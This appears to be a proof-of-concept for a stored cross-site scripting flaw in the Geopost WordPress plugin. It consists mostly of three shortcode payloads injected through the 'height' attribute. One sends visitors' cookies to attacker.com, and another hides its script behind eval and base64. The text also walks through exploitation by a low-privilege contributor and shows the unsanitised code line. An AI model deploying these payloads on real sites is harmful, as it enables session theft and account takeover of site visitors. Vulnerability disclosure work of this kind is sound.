CVE-2025-12754 WordPress Geopost插件存储型XSS漏洞

// CVE-2025-12754 PoC - Stored XSS via height parameter // Author: Wordfence Security Team // Affected: Geopost plugin <= 1.2 // Method 1: Via WordPress Shortcode // Insert this shortcode in any WordPress post/page: [geopost height='100px" onload="alert(document.cookie)" style="background: red;'] // Method 2: More Obfuscated Variant [geopost height='100px><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] // Method 3: Event Handler Based [geopost height='100px onerror="eval(atob('YWxlcnQoJ1hTUydvbkVycm9yJyk='))'] // Exploitation Scenario: // 1. Attacker with Contributor role creates/edits a post // 2. Inserts malicious shortcode with XSS payload in height parameter // 3. Publishes the post // 4. Any user viewing this post will execute the injected JavaScript // 5. Attacker can steal session cookies, perform actions as victim, etc. // Vulnerable Code Location: // geopost.php line 15-20 (shortcode handler) // The code directly outputs $atts['height'] without sanitization: // echo '<div style="height: ' . $atts['height'] . ';"></div>';